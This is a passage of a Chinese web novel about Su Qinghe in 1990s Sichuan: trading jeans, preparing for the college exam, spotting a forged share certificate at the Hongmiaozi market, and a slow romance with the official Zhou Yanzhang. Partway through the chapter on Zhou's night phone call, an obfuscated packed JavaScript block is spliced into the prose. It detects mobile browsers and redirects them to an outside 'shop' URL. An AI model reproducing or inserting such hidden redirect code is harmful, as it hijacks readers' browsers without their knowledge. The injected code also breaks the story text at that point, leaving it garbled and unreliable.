这个处理方案是周延璋提出的,既表明了态度,平息了众怒,又给了张书记和李副厂长戴罪立功的机会,更重要的是,维持了厂里过渡时期的稳定,避免新的动荡。 苏青禾没有出现在那场决定许多人命运的大会上。 此时,她和孙梅正坐在摇摇晃晃的火车上,赶往成都荷花池市场。 车窗外的田野飞速后退,两人面对面坐在靠窗的位置,孙梅在心里盘算了一会儿,终于忍不住低声对苏青禾说道:“青禾,这趟我们逛逛?” “行。”她们两人之前都是来去匆匆,送完了货就回绵城,都没好好逛过。 孙梅高兴的说道:“我想买条波点连衣裙,还要配双凉皮鞋。你呢,想买什么?” 苏青禾靠着窗框,“没想好。不过,有个人倒是应该好好感谢一下。” “谁?” 苏青禾看着孙梅笑着说道:“你们家吴俊明。” 孙梅脸一红,下意识扭了下身子,“咳……是得谢谢他。你说,给他买点什么好?” 苏青禾轻笑,“你要是没具体想法,可以选支好点的钢笔,或者一件像样的衬衫,钱我们一人出一半。” 孙梅想了想,“衬衣吧,他来来回回也就那么两件衬衣。” 到了荷花池,人声鼎沸。 两人轻车熟路地找到吴建国的摊位,将最后一批牛仔裤交割清楚。吴建国验完货,利索地数了钱,“下次有多少,我还要!”吴建国搓着手,显然苏青禾她们这批牛仔裤让他挣了不少。 “吴哥,暂时就这些了。下次有合适的我们再联系。”苏青禾和吴建国说完,孙梅已经把钱又数了一遍。 两人离开了吴建国的摊位在市场里逛了起来。 孙梅给自己买了那条心仪已久的波点连衣裙,又精挑细选了一件浅蓝色的确良衬衫,准备送给吴俊明。 两人在市场里边走边逛,苏青禾感受着这扑面而来的、粗糙而旺盛的属于这个时代的生机。 走到一个卖各种日用品的批发档口时,苏青禾的脚步慢了下来。她的目光越过前面琳琅满目的搪瓷缸、塑料盆,落在了货架最后一排样式朴素的保温杯上。 “老板,麻烦把那个保温杯拿给我看看。”苏青禾手指着一款通体黑色、只有一个简单标志的保温杯。 这个牌子,在苏青禾穿越前的那个时代,都以质量过硬著称,是真正的老字号。 老板是个精瘦的中年人,瞥了两人一眼,懒洋洋地取了杯子递给苏青禾:“四十,不讲价。” “多少?”孙梅的声音瞬间拔高,引得旁边几个人都看了过来,“啥杯子这么金贵?不就是个保温杯吗?百货大楼最好的也就卖十二块!” “老板,帮我拿个新的,就要黑色。”孙梅还在咋咋呼呼的时候,苏青禾已经确认这个保温杯确实是她知道的那个牌子。 老板重新拿了个新杯子,苏青禾拧开杯盖,认真检查了一下,内胆光滑无缝,然后开始掏钱。 “青禾!你疯啦?”孙梅一把拉住苏青禾掏钱的手,“四十块!够买多少斤肉了!” 苏青禾被孙梅的反应逗笑了,轻轻抽出手:“赚钱不就是用来花的?这个牌子的保温杯很耐用,保热保冷都好。” “再耐用也不能这么贵啊!”孙梅还是觉得苏青禾昏了头,低声在她耳边说道:“再看看,别被敲了,你想买保温杯我们去百货大楼看,颜色比这个还好看。” “送人。”苏青禾吐出两个字,不再多解释,数出四张大团结递给老板。 “送谁?”孙梅瞪圆了眼睛,随即吃惊的指着苏青禾,“你,你是要送周组长?” 苏青禾接过老板用旧报纸包好的杯子,仔细放好,才回头对孙梅俏皮地眨了下眼,算是默认。 孙梅倒吸一口凉气,一把拉住她的胳膊,又惊又笑,声音压得更低:“苏青禾同志!你……你不会是想……” “想什么?”苏青禾笑起来,阳光照在她脸上,明艳动人。 光是想象周延璋收到杯子时,那张脸上可能出现的细微波动。或许是诧异,或许是一丝极难察觉的松动,一种混合着挑战和期待的愉悦感就涌上了苏青禾的心头。 “梅子,人有多大胆,地有多大产。很多事啊,最开始就是始于敢想。” 苏青禾在心里又补了一句:“上辈子在谈判桌上算计千万利益,也没现在算计他一个表情来得有趣。” 深夜,招待所。 窗外一片寂静,只有偶尔传来的几声虫鸣。 周延璋的房间里,灯还亮着,他正写工作总结。 “…叮……叮”电话铃声突兀地响起,打破了房间里的平静。 周延璋放下笔,接起电话,“喂。” “延璋。”听筒里传来母亲秦雅楠温和的声音。 “妈。”周延璋看了眼手表,已经十点半了,“还没休息?” “你爸爸还没回来,我等他一会儿。”秦雅楠随意的问道,“听说红旗服装厂的职工安置问题,基本解决了?” “嗯,今天刚在厂里开完了总结会,方案已经公布。现在在写工作总结,刚写完初稿。”周延璋放松地靠向椅背。 “要注意措辞。”秦雅楠提醒道,语气严肃了些,“成绩要讲够,困难和下一步的考虑也要点到。王副部长很关心这个事,他秘书前天还问起我。” “知道了,妈。”周延璋应道。他明白母亲话里的深意,这份总结不仅是交代工作,也是他下一步去向的重要参考。 秦雅楠话锋一转,仿佛不经意地提起:“对了,听你刘阿姨说,你以部门名义,帮着申请了一张推荐一个女孩参加高考的介绍信?” 周延璋微微一愣,看来这才是让自己母亲打这个电话的原因:“是的。” “她是红旗厂片区居委会的临时工,叫苏青禾。在这次安置工作中,特别是前期摸底和后期生产自救方案的设想上,对工作组帮助很大。她个人没有提任何物质要求,只希望组织上能给她一次参加高考的机会。”周延璋把苏青禾的情况和自己母亲解释了一下。 电话那头沉默了两秒,随即秦雅楠的声音恢复了平时的温和:“这样啊……那倒真是个上进的孩子了。能帮,还是应该帮一帮的。知识青年要求进步,是好事。” 秦雅楠没再继续问苏青禾的事情,转了话题:“你之前不总是说,家里那台机器放古尔德的《哥德堡变奏曲》,琴键的触感有点浮么?正好,前阵子去上海,在老徐那儿听到他新换了一对功放管,说是从外面淘回来的老货。我一听,那股子冷静又绵密的劲头,特别是低音部的线条和力度,一下就对味儿了。” “我让他给匀了一对。等你回来,换上试试。” “……您还真去找了?”周延璋语气里也有了些笑意,“谢谢妈。” 母子俩又闲聊了几句家常,才挂了电话。 周延璋放下话筒,目光落在桌角那份苏青禾手写的《关于红旗服装厂短期生产自救与人员过渡的初步设想》上。字迹清秀工整,逻辑清晰,尤其是关于利用库存盘活资金的想法,大胆而切中要害。他想起了她站在黑板前条理清晰地分析利弊的样子,想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372593|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说想考大学时眼中灼热的光。 这个女孩,不仅敢想,而且真的把事情做成了。 第二天上午,工作组正式撤离。 招待所周延璋房间的门大敞着,他的东西已经收拾妥当,行李箱放在墙边。 周延璋今天换了一件深蓝色的衬衫,更显得肩宽腰窄,清爽利落。晨光从窗户照进来,勾勒出他挺拔的身形和清晰的侧脸轮廓。 苏青禾被一个电话叫到招待所时,看到的就是这样一幅画面。她脚步顿了顿,眼底掠过一丝光亮,无论看多少次,这个男人对她都有着不变的吸引力。她微笑着,眼神明亮地走过去:“周组长,你找我?” 周延璋闻声抬头,看到逆光走来的苏青禾。她今天穿了件简单的白色短袖衬衫,蓝色长裤,头发梳成利落的马尾,脸上带着轻松的笑意,整个人灿烂又热烈。 周延璋的目光在苏青禾身上不自觉的多停留了几秒,才点头道:“对。” “这是给你的。”周延璋从桌上拿起一个牛皮纸信封,递给苏青禾, 苏青禾接过,打开信封,里面是一份正式的文件。 抬头上印着鲜红的“省******厅”字样,下面是一段打印的文字,内容是推荐“社会青年苏青禾同志,身份证……”参加本年度的全国高等学校招生考试,最下面盖着周延璋单位的公章。 “苏青禾同志,”周延璋的语气正式而严肃,“你的情况,高中学业未完成,不符合保送条件。这是按规定出具的证明,能让你获得一个公平报名、参加考试的机会。” 周延璋的目光落在苏青禾脸上,里面有期许,有鼓励,“这份证明,并不容易拿到,希望你能好好把握。” 苏青禾的心猛地跳了一下,周延璋的话让她明白了这张纸的价值。 这是他在现有的规则框架内,能为她争取到的最扎实、最有力的起点。周延璋没有给她任何虚无的承诺,却给了她最需要的那张入场券。 苏青禾猜到周延璋有想办法让她参加高考,但没料到他动作这么快,一时怔在了原地。 好一会儿苏青禾才回过神,将介绍信仔细地收好,抬起头,感激的看着周延璋:“谢谢周组长,我会珍惜这个机会,不会让你……不会让组织失望。”考试本身苏青禾并不担心,前世积累的学习方法和毅力是她的底气。 周延璋点点头,“能不能考上,最终要靠你自己。” 苏青禾向前半步,“周组长,后面复习的时候,如果需要找一些不好找的资料,可以……写信到找你帮忙吗?” 周延璋看着苏青禾眼中毫不掩饰的期待,以及那期待背后的…… 周延璋在苏青禾的目光中沉默了。 窗外的阳光落在他睫毛上,投下一小片安静的阴影。 周延璋知道如果自己答应这意味着什么,这不是公事公办的介绍信,而是一个私人化的、持续性的联系通道。他几乎能预见到,这个聪明、大胆、敢想敢做的女孩,会如何利用这个通道。 理智在周延璋的耳边尖锐地提醒他,保持距离,这不合适。 可是,当周延璋抬眼,对上苏青禾那双清澈又炙热的眼睛,里面那毫不掩饰的期待让周延璋心里准备好的、公式化的拒绝,在喉咙里打着转始终没能说出口。 周延璋想起了苏青禾说报仇不过夜时锋利又坦荡的眼神。 “可以。”这两个字比周延璋想象中更容易的滑出了唇边。 他转身拿起钢笔,在便签上写下号码和地址,脑海里闪过一个更荒谬的念头——她会打电话,还是写信?又会以什么理由? 周延璋将纸条递过去,补了一句,像解释,也像是给自己划下界限:“如果我不在,可以找刘主任或者小陈。” 苏青禾接过,没急着看,只是抬眼看着他笑:“好,我记住了。” 那笑意,像是在笑他的欲盖弥彰。周延璋喉结不自然地滚了滚。 “周组长,一路上顺风。”苏青禾伸出手,周延璋也伸出手,两人的手在半空中交握在一起,“需要的时候,我一定会联系周组长。” “好。”周延璋微微颔首。 苏青禾背上自己的布包转身离开,阳光洒在她的背影上,马尾辫随着步伐轻轻摆动,干脆利落又洒脱。 直到那道身影消失在走廊尽头,周延璋才缓缓收回目光。 8. 第 8 章 省委办公楼,某间陈设简朴却透着威严的办公室内。 周延璋挺直脊背,坐在宽大的办公桌前,语调平稳地汇报着红旗服装厂改制安置工作的经过。 “……情况就是这样。最终方案已经落实,职工情绪基本稳定,补偿金发放工作正有序进行。”周延璋合上手中的简要报告,双手轻放在膝上。 坐在他对面的,是一位年约五十、面容儒雅却目光锐利的中年男子,正是周延璋的直接上级,省轻工业厅的李副厅长。 李厅长微微颔首,指尖在桌面轻轻点了点,语气带着赞许:“嗯,处理得不错。能在这么短时间内摸清情况、拿出方案、并且平稳落地,很好。尤其是等待上级批复期间,那个组织职工生产自救的过渡办法,思路很活,效果也很好,可以作为类似困难企业改制的参考案例。” 周延璋面色不变,谦逊道:“厅长过奖了,主要是厂里基层同志情况摸得透,工作组大家共同努力的结果。” 谈完了红旗服装厂的情况,气氛轻松了一些,李为民看着周延璋,表情放缓,喝了口茶说道:“延璋啊,接下来,组织上可能还会有更复杂的担子要交给你。可能是市里机械厂那个摊子,也可能是跳出轻工系统转向其他方面的工作。” “多历练、多见识,对年轻人有好处。你有什么想法可以直接和我交流也可以和周部长沟通。” 周延璋点了点头,语气沉稳:“我明白,谢谢李厅长的栽培,我会继续努力。” 从李厅长办公室出来,周延璋走在略显空旷的机关大楼走廊里,脚步声清晰可闻。 领导的肯定在意料之中,但那句关于生产自救的特别赞许,却让一个身影不期然地划过他的脑海。苏青禾站在黑板前,条理清晰地分析牛仔裤市场。那个女孩看似天马行空的想法,最终被证明不仅可行,还成了此次工作汇报中一个不大不小的亮点。这念头只在周延璋心头停留了一瞬,便被他惯常的理性压了下去。 傍晚,省委大院,某栋静谧的二层小楼。 餐厅里,灯光温暖,保姆已经将简单的四菜一汤摆上桌。 周秉国坐在主位,眉宇间带着一丝疲惫,周延璋坐在他对面。 “李为民今天找你了?”周秉国夹了一筷子青菜,语气随意,如同寻常父子闲聊。李为民就是李副厅长。 “嗯,下午刚汇报完红旗厂的工作。”周延璋给父亲盛了碗汤。 “嗯。”周秉国应了一声,慢慢喝了两口汤,才抬眼看向儿子,“红旗厂的事,处理得还算妥当。尤其是等批复期间,没让矛盾发酵,反而把生产稳了下来,还安置了部分职工。这手以静制动、就地消化,有点意思。” 周延璋在父亲面前没有隐瞒:“主要是依靠厂里原有的骨干和街道的力量,搞了点短期生产,算是权宜之计,没想到效果还行。” 周秉国点了点头,脸上看不出什么表情,但语气缓和了些:“嗯,懂得利用现有资源,分阶段解决问题,比一味强压或者空等强。控制事态是第一步,能在这个过程中找到积极因素,加以引导,甚至形成示范,这就不止是完成任务,而是做出了亮点。” “这一点,你做得比我想的要稳妥。”这已是周秉国极少给出的高度评价。 周延璋默默听着,心中了然,父亲看重的是他解决问题的能力,更是创造价值的眼光。他再次想到了苏青禾,那个看似不经意却切中要害的短期生产自救设想。 “李为民的想法和我是一致的,你现在不能总待在一个坑里。”周秉国话锋一转,语气恢复了平时的沉稳,“下一步,估计会让你接触些其他系统的工作,工业、财贸,可能都会沾点边。” “别嫌杂,年轻时多经历些没坏处,底子打得宽,以后的路才稳。具体方向,等你各方面都摸过一遍,再看哪里更合适。” 这就是周家培养接班人的方式,不是直接安排位置,而是铺设一条需要真才实学才能走过的历练之路,让其在不同领域积累资历和人脉,最终水到渠成。 周延璋点了点头:“爸,我知道。” 与此同时,绵城,居委会办公室。 气氛与省委办公室的庄重,周家的静谧截然不同。窗外是街道的嘈杂声,办公室里,张姐和李姐一边手脚麻利地分装着即将下发到各户的耗子药,一边高声交流着灭鼠心得和家里的琐事。 苏青禾坐在自己的角落,安静的复习着,桌上摊开的是高中数学课本,旁边放着写得密密麻麻的演算纸。在这个年代,工作人员在业余时间看书学习是被允许甚至鼓励的,只要不影响本职工作。她专注的神情与周遭的环境有些格格不入,却又奇异地融合在一起。 孙梅凑过来看了看苏青禾桌上的课本,一脸羡慕:“青禾,你真要考大学啊?准备考哪个?” 苏青禾从公式中抬起头,笑了笑:“嗯,想试试。川大吧。” “川大好啊,就在省城。”孙梅眼睛一亮,随即又垮下脸,“唉,我就不是读书的料,看到书本就头疼,初中能混毕业都谢天谢地了。” 苏青禾被孙梅夸张的表情逗笑,“各有所长而已。” 省城的川大是名校,机会远非绵城可比。苏青禾想起上次去成都,在荷花池市场听那些天南地北的倒爷闲聊时,有人眉飞色舞地提起过一个叫“红庙子”的地方。 红庙子这个地方,苏青禾知道,那是一个由市民和早期股民自发形成的、交易未上市企业股权证和债券的露天市场,充满了原始资 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这沉默极短,却并不寻常。 周延璋的眼前,不受控制地闪过苏青禾那双带着狡黠笑意的眼睛。 “……好。”他终于回答,声音倒是听不出什么波澜,“你到了提前打电话约时间。” “好的,谢谢周组长!那我就不打扰您了。”苏青禾利落地道谢,挂断了电话。 听着听筒里传来的忙音,周延璋握着话筒的手停顿了一瞬,才缓缓放回机座上。 办公室恢复了安静,只有窗外隐约传来的城市噪音。周延璋的身体向后靠进椅背,目光落在摊开的文件上,却没有立刻聚焦。 他应该感到一丝被打扰的不快,或者公事公办的平静。但这两者,似乎都没有。取而代之的,是一种更微妙的情绪。他清楚地知道,苏青禾的理由很正当,要求也合情合理。他甚至应该欣赏她这种为目标积极争取资源的态度。 但下周这个明确的时间点,像一颗投入平静水面的石子,漾开了周延璋自己都未曾深究的涟漪。他发现自己竟然下意识地在脑中快速过了一遍下周的大致安排。这个认知让他微微蹙了下眉,一种对情绪脱离掌控的警惕升腾了起来。 他很快将这点异样压制下去,重新将注意力拉回眼前的文件上。 不愿深究,也不必深究。 周延璋向来善于处理明确的问题,而对于这种模糊的、指向不明的扰动,最好的方式就是暂时搁置,用理性和工作将其覆盖。 见面拿资料只是正常的往来,仅此而已,周延璋这样告诉自己,笔尖重新在文件上划动起来。 9. 第 9 章 六月的成都,空气已经开始变得黏腻。 苏青禾走出火车站,热浪混着灰尘和汗水的气息扑面而来。她没有耽搁,按照之前打听好的路线,跳上了一辆开往市中心的公交车。 苏青禾这次来成都的首要目的,不是去见周延璋,而是去红庙子。 随着目的地临近,一种难以言喻的躁动感在空气中弥漫开来。 离那条街还有一个路口,一种低沉而持续的轰鸣就已经如潮水般涌来,淹没了城市的其他声音。走近了,那声音便凝聚成一道有形的、沸腾的墙,撞击着耳膜。 眼前的情景,即使以苏青禾两世为人的阅历,也感到了强烈的冲击。 初夏白花花的阳光下,整条不长的街道被黑压压的人头彻底塞满,仿佛一个巨大的、沸腾的蜂巢。 男人们大多穿着汗湿的背心或敞着怀的衬衫,女人们的头发则被汗水黏在额角。每个人脸上都蒸腾着因为极度激动、焦虑和肢体摩擦而产生的油汗,在阳光下泛着光。 各种口音的叫喊、争吵、报价声毫无章法地搅在一起,汇成一种令人头晕目眩的、充满原始生命力的喧嚣。 “红光厂!两块八,有没有人要?” “攀钢!攀钢四块五!” “豁鬼哦!上午才四块二!抢人嗦?” 苏青禾没有立刻挤进那令人窒息的人潮中心。 她选择站在街口一个相对较高的台阶上,冷静地观察。 苏青禾的视线越过攒动的人头,看到路边竖着一块块简陋的木板,上面糊了白纸,用粗黑的毛笔字写着密密麻麻的股票名:‘北海’、‘联益’、‘三电’、‘建业’……字迹潦草却透着一股狠劲。 空气中弥漫着复杂到令人窒息的味道,劣质烟草的辛辣、人体汗液在高温下发酵的酸馊味、路边锅盔摊飘来的劣质菜籽油香,以及一种更原始的、属于无数张被无数双手摩挲得发烫、浸满汗渍的纸币和股权证纸张的、微带霉味的钱的气息。 交易就在街边、墙根、任何一个能下脚的地方进行。 没有柜台,没有凭证,全凭一双眼睛辨别真伪,一张嘴喊价,一只手交钱,另一只手递过那张可能价值千金、也可能一文不名的花花绿绿纸片。 有人刚小心翼翼地从贴身的汗衫内袋里掏出厚厚一沓用橡皮筋捆着的大团结,转眼就换成几张轻飘飘的纸,像藏传家宝一样珍而重之地揣回怀里,脸上混合着孤注一掷的狂喜和深入骨髓的不安。 也有人手里死死捏着几张纸片,在人群中像没头苍蝇一样疯狂穿梭叫卖,声音嘶哑,眼球布满血丝。 “人肉报价,情绪驱动,毫无规则,信用为零。”苏青禾在心里迅速做出判断。这里只能是快进快出,不贪不恋,愿赌服输。任何基于公司基本面、未来前景的价值投资理念在这里都是天方夜谭,唯一真实的价值是下一刻人群的狂热会指向哪里。风险极高,但潜在利润也惊人。 苏青禾需要本金,一笔足以让她在大学期间不再为生计发愁、并能支撑她进行更大规模尝试的启动资金。这里,或许是条捷径,但无疑也是刀尖舔血。 “女娃子,看稀奇哇?”一个穿着半旧蓝布短袖工装、眼神闪烁的中年男人不知何时凑到苏青禾面前,压低了声音,带着一种过分热络的口气,“我这儿有蜀都实业的内部原始股,资格的。厂里头流出来的,莫得几个人有。看你像个学生娃,有眼光,便宜点让给你,要不要?” 男人说着,从兜里摸出一张股权证,递到苏青禾面前,手指刻意遮住了下半部分。 苏青禾的目光在那张纸上停留了不到两秒。 纸张的颜色过于鲜艳,质地过于光滑平整,像是普通印刷品的铜版纸,缺乏真正股权证应有的挺括和质感。 最关键的那个红色公章,印泥颜色浮在表面,边缘清晰得像用尺子画出来的,缺乏真正公章盖下去时,因用力不均和纸张纹理而产生的自然晕染和渗透感。 苏青禾前世见过太多印章,见过太多真的,这种东西在她眼里就是一眼假。 “叔叔,”苏青禾抬起眼,看了面前的男人一眼,声音不高,“你这个章子,‘实业’两个字的笔画,墨都快糊到一起了。”她顿了顿,在对方骤然收缩的瞳孔注视下,又轻轻补了一句,“而且,我记得蜀都实业的批文号,省里批的是91字头,不是90。” 男人的手像被烫到一样猛地缩回,脸色一变,眼神里闪过被戳穿的慌乱和一丝凶光,狠狠地瞪了苏青禾一眼,嘴里不干不净地咕哝着,“瓜娃子,不识宝”,迅速转身挤进了人群,消失不见。 苏青禾面无表情地移开视线,心底那点因前世记忆而燃起的、对资本原始积累的模糊兴奋,彻底冷却下去,取而代之的是一种冰冷的清醒和警惕。 这里的风险,远不止于市场价格的波动。欺诈无处不在,甚至可能伴随人身危险。但机会,也确实在这令人窒息的混乱和疯狂之中,闪烁着诱人而危险的光芒。 苏青禾深吸一口气,心里有了决断。可以来试试水,但必须万分谨慎,速战速决。 下午两点,省轻工业厅,周延璋办公室。 办公室的门虚掩着,苏青禾轻轻敲了三下。 “请进。”里面传来周延璋沉稳的声音。 苏青禾推门进去。 周延璋正坐在靠窗的办公桌后,午后的阳光将他的侧影勾勒得格外清晰。他今天穿着白衬衫,袖口挽到小臂中间,正伏案写着什么。 听到脚步声,周延璋抬起头。 “周组长。”苏青禾站在办公室中央,微笑着打招呼。 “来了。”周延璋放下笔,目光在苏青禾脸上停留了一瞬,随即拿起桌角一个厚厚的牛皮纸文件袋,放到桌面上,“资料都在这儿了,近五年的真题和考纲解析,还有一些内部复习提要,应该够用了。” 苏青禾看着那个牛皮纸袋,完全超量的厚度,哪里只是周延璋口里的应该够用,“太感谢您了,周组长,这些资料市面上可不好找。”苏青禾紧走两步站到了周延璋对面。 “坐。”周延璋示意了一下对面的椅子。 苏青禾依言坐下,将资料袋放在并拢的膝盖上。 短暂的沉默在办公室里弥漫。周延璋的目光落在苏青禾身上,似乎在想如何开启下一个话题。 苏青禾则只是安静的看着周延璋,视线很细致的落在他的脸上,不局促也不着急,姿态从容。 “复习得怎么样了?”终于还是周延璋先开口,打破了沉默。 “心里有点底了,就等着拿这些往年的真题再刷刷,找找考试的感觉和节奏。”苏青禾用手指轻轻点了点膝盖上的资料袋,语气里带着适度的自信,既不张扬,也不怯懦。 “有方向就好。”周延璋点了点头,接着问,“准备选什么专业?” “经济类。”苏青禾回答得毫不犹豫,显然已经思考过这个问题了。 “经济类。”周延璋重复了一遍,身体向后靠向椅背,目光变得有些深远,“这个领域,排名靠前的学校,基本都在北京、上海。” “北大、人大、复旦这些学校的经济类专业都很强。”周延璋列举了几个顶尖学府的名字,语气平和,是一种客观陈述,而非施加压力。他谨慎地没有具体追问苏青禾的目标,在考前,他不想用过高的期望给她带来不必要的负担。 苏青禾听出了周延璋话语里的保留。她没有回避,反而抬起头,目光迎上他审视的视线,清晰地说: “我知道,人大、复旦、北大,这几个学校的经济系都是数一数二的。”苏青禾略微停顿了一下,那双黑白分明的眼睛一眨不眨地看着周延璋,像是要望进他眼底深处去,“但,”她放慢了语速,唇角微弯,以一种准备入侵的姿态说道,“我准备考川大。” “川大?为什么?”周延璋下意识地感到疑惑并询问。 以苏青禾展露出的眼界和野心,这个选择确实出乎他的意料。周延璋本以为,苏青禾会向往更远、更大的平台。 在苏青禾目光的注视下,周延璋的眉头动了一下,他感到自己的呼吸微微一滞。她的眼神太直接,太明确。他下意识地调整了一下坐姿,搁在桌上的手指微微蜷缩了一下,等待苏青禾的下文。 苏青禾将周延璋的细微反应尽收眼底,心底那点隐秘的愉悦感悄悄蔓延开。她没有立刻解释,反而故意沉默了两秒,让空气里那份微妙的静默多停留了片刻,直到看见周延璋浓密的睫毛似乎因为等待而下意识地轻颤了一下。 她才用一种只有他能听懂的、意味深长的语气,轻快而理所当然地说出了原因: “因为,离得近。” 话音落下的瞬间,苏青禾感觉到,对面男人周遭那层沉稳持重、公事公办的气场,仿佛被这三个简单的字轻轻撬开了一道细微的缝隙。一种无声的、只存在于两人之间的张力,悄然在空气中拉紧、弥漫。 周延璋感觉自己的耳根不受控地开始发热。一个寻常的理由,从苏青禾嘴里说出来,在这个特定的语境下,却像羽毛轻轻搔过心尖,带着一种难以言喻的试探意味。 周延璋几乎是下意识地,避开了苏青禾带着笑意的目光,略显仓促地移开视线,喉结轻轻滚动了一下。 苏青禾脸上的 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苏青禾的心轻轻悸动了一下。她捕捉到了他话语深处那不同寻常的意味。她身体微微前倾,目光专注地看着他,语气里带着探究的轻声问道:“周组长这是在帮我……锚定航向?” 苏青禾问的是,周延璋这仅仅是前辈对后辈的指点,还是……一种并肩同行的邀请? 周延璋深邃的眼眸与她对视着,那里面情绪翻涌,最终却归于一种更深沉的平静。他没有直接回答她的问题,只是微微摇了摇头,声音低沉而有力: “是时代在召唤。”他停顿了一下,目光似乎穿透了她,望向更深远的地方,“我们每个人,都只是顺应潮流,尽力而为。” 周延璋巧妙地将一个可能过于私人的问题,升华到了一个宏大而安全的层面。这既是对苏青禾试探的回应,也是一种不动声色的边界划定。 苏青禾明白了,她得到了答案,虽然不是最直白的那种,但已足够。她不再紧逼,靠回了椅背,挑了挑眉,点点头,语气郑重了些:“我明白。” 话题似乎到此为止。办公室内再次陷入短暂的沉默,但气氛却与先前不同,仿佛有什么无形的东西在空气中缓缓流淌。 苏青禾适时地结束了这个微妙的话题,她侧身,从随身的布包里拿出一个用报纸仔细包好的长条形物品,利落地拆开,露出一个崭新的、黑色保温杯。 “这个保温杯保热保冷的效果都很好,用的内胆材料听说比较高级安全。”苏青禾将杯子轻轻推到周延璋面前的桌面上,语气自然,“您经常熬夜开会,喝点热茶也好,装点凉白开也行。” 礼物实用,理由正当,姿态坦然,没有任何暧昧不清的意味,仿佛只是对于周延璋帮忙找资料的一个感谢。 周延璋的目光落在那个线条简洁、质感不错的保温杯上,停顿了大约两秒。他没有推辞,也没有露出过多惊讶的表情,只是伸出手,用骨节分明的手指握住了杯身。 “谢谢,有心了。”周延璋声音平稳地道谢,将杯子放在了自己办公桌的右手边,一个触手可及的位置。做完这个动作,周延璋对自己刚才那片刻本能的反应感到一丝不赞同,那是一种理智上试图回避、情感上却已悄然发生的偏移感觉。 周延璋听懂了苏青禾之前所有的试探,也明白这个杯子背后无声的语言。他无法在那一刻,违背自己内心最真实的意愿去拒绝,去生硬地推开这份恰到好处的礼物。周延璋知道自己这是一种默许——默许了苏青禾的悄然存在。 “那周组长,您忙,我就不多打扰了。”苏青禾站起身,拿起那份珍贵的资料袋。 “好。”周延璋也站起身,算是相送,“路上小心。” 苏青禾微笑着点头,转身离开了办公室,轻轻带上了门。 门关上的轻响传来,办公室里只剩下周延璋一人。他目光再次落在那个崭新的黑色保温杯上,指尖无意识地在光滑的杯壁上摩挲了一下。 心底那丝隐秘的愉悦尚未散去,更沉重的思虑便已浮上心头。周延璋不是懵懂少年,苏青禾眼神里的欣赏、话语里的试探、乃至这份精心挑选的礼物,其中的意味他看得分明。 然而,正是这是因为看得分明,他才必须冷静。 苏青禾很好,聪明、鲜活、充满生命力。但她与周延璋未来必须嵌入的轨道中间横亘着难以跨越的鸿沟。这不是轻视,而是对现实清醒的认知。 心动是一回事,而责任,是另一回事。 周延璋拧开杯盖,走到墙边的暖水瓶旁,缓缓注入热水。水汽氤氲,模糊了他眼眸中闪过的复杂情绪。 而走出办公楼的苏青禾,站在初夏明亮的阳光下,回望了一眼那栋肃静的办公楼。前路漫漫,但近水楼台的第一步,她已经稳稳地迈了出去。 10. 第 10 章 七月的热浪炙烤着绵城,高考结束后的日子,在蝉鸣声中显得格外漫长。 苏青禾对照着标准答案,仔细估了分,心头一块大石落了地。成绩远超川大往年的录取线,只要志愿填报不出纰漏,已是十拿九稳。 下班路上,两个姑娘并肩走着,夕阳把她们的影子拉得老长。一向叽叽喳喳的孙梅,今天却格外沉默,低着头,有一脚没一脚地踢着路上的小石子。 孙梅一直很关注苏青禾的高考情况,知道了苏青禾给自己的估分,又是骄傲又是忐忑,“青禾,你真厉害。” 苏青禾笑了,这段时间说完全没有压力也是假的,现在终于出成绩了,苏青禾也是觉得一身轻松。 走了好长一段,孙梅才又闷闷地开口,“川大……我听说,连977厂技术科的那些工程师,也没几个是正经川大毕业的。”这话里,羡慕远多于嫉妒,更多的是一种即将被抛下的惶然。 苏青禾听出了孙梅语气里的异样,侧头看她,夕阳给孙梅健康的圆脸镀上一层温暖的金边。 苏青禾拦住孙梅的肩,“大学只是一个地方,一块敲门砖。关键不是去了哪里,而是去了以后,能学到什么,能抓住什么。” 孙梅停下脚步,双手不安地绞着帆布包的带子,踌躇了好一会儿,再抬起头,眼圈微微发红,眼睛里有着豁出去的勇气和深深的不安:“青禾,你跟我说实话。” “你去了成都……大学里那么多有本事的人,你见识了更大的世面……以后,是不是就不需要我了?不想……不想再跟我一起干事了?”这话问出来,孙梅的声音都带了颤音。这是她憋在心里许久的恐慌,现实得刺人。 苏青禾没有立刻回答,她也停下脚步,转过身,正对着孙梅,然后伸出手,紧紧握住了她的手。 苏青禾的目光清澈、坚定,直直看进孙梅眼里。 “梅子,”苏青禾的声音不高,却像有种魔力,能瞬间抚平孙梅心底躁动,“你看着我。” 苏青禾看懂了孙梅的焦虑,“你觉得,咱们之前倒腾那些牛仔裤,摆弄外汇券,就是我们事业的终点了?” 孙梅被问得一怔,下意识地摇了摇头。 “那就对了!”苏青禾嘴角扬起一抹弧度,眼神变得有些锐利。那是孙梅从未在见过的、充满野心的光芒,“绵城就这么大,池塘浅,养不出真龙。”苏青禾的话孙梅听的半懂不懂的。 “但成都不一样,那是省城,是西南的中心,机会像天上的星星,数都数不过来。我去,是替咱们开路。等我在那边站稳脚跟,摸清了门道,时机成熟了,我们就去成都,开一家正儿八经的、属于我们自己的服装店!” 苏青禾反手用力握了握孙梅的手,一字一句,掷地有声:“所以,孙梅同志,你给我听好了。你从来不是我苏青禾的小跟班,你是我选定的合伙人。这条路,山高水长,我一个人走没意思,也走不远。我必须拉着你一起,也只能是你跟我一起走。” 这番话,像一簇火苗,瞬间将孙梅心里的忐忑和迷茫烧得干干净净。她的眼睛猛地亮了,像是落满了星光,用力回握住苏青禾的手,激动得声音都变了调:“青禾,你说真的?我们……我们真能去成都开店?” “当然!”苏青禾回答的斩钉截铁,眼中是毋庸置疑的信心。 希望的火种一旦点燃,便能燎原。孙梅整个人仿佛被注入了新的灵魂,瞬间变回了那个活泼雀跃的姑娘,亲热地挽住苏青禾的胳膊,叽叽喳喳地开始畅想未来。 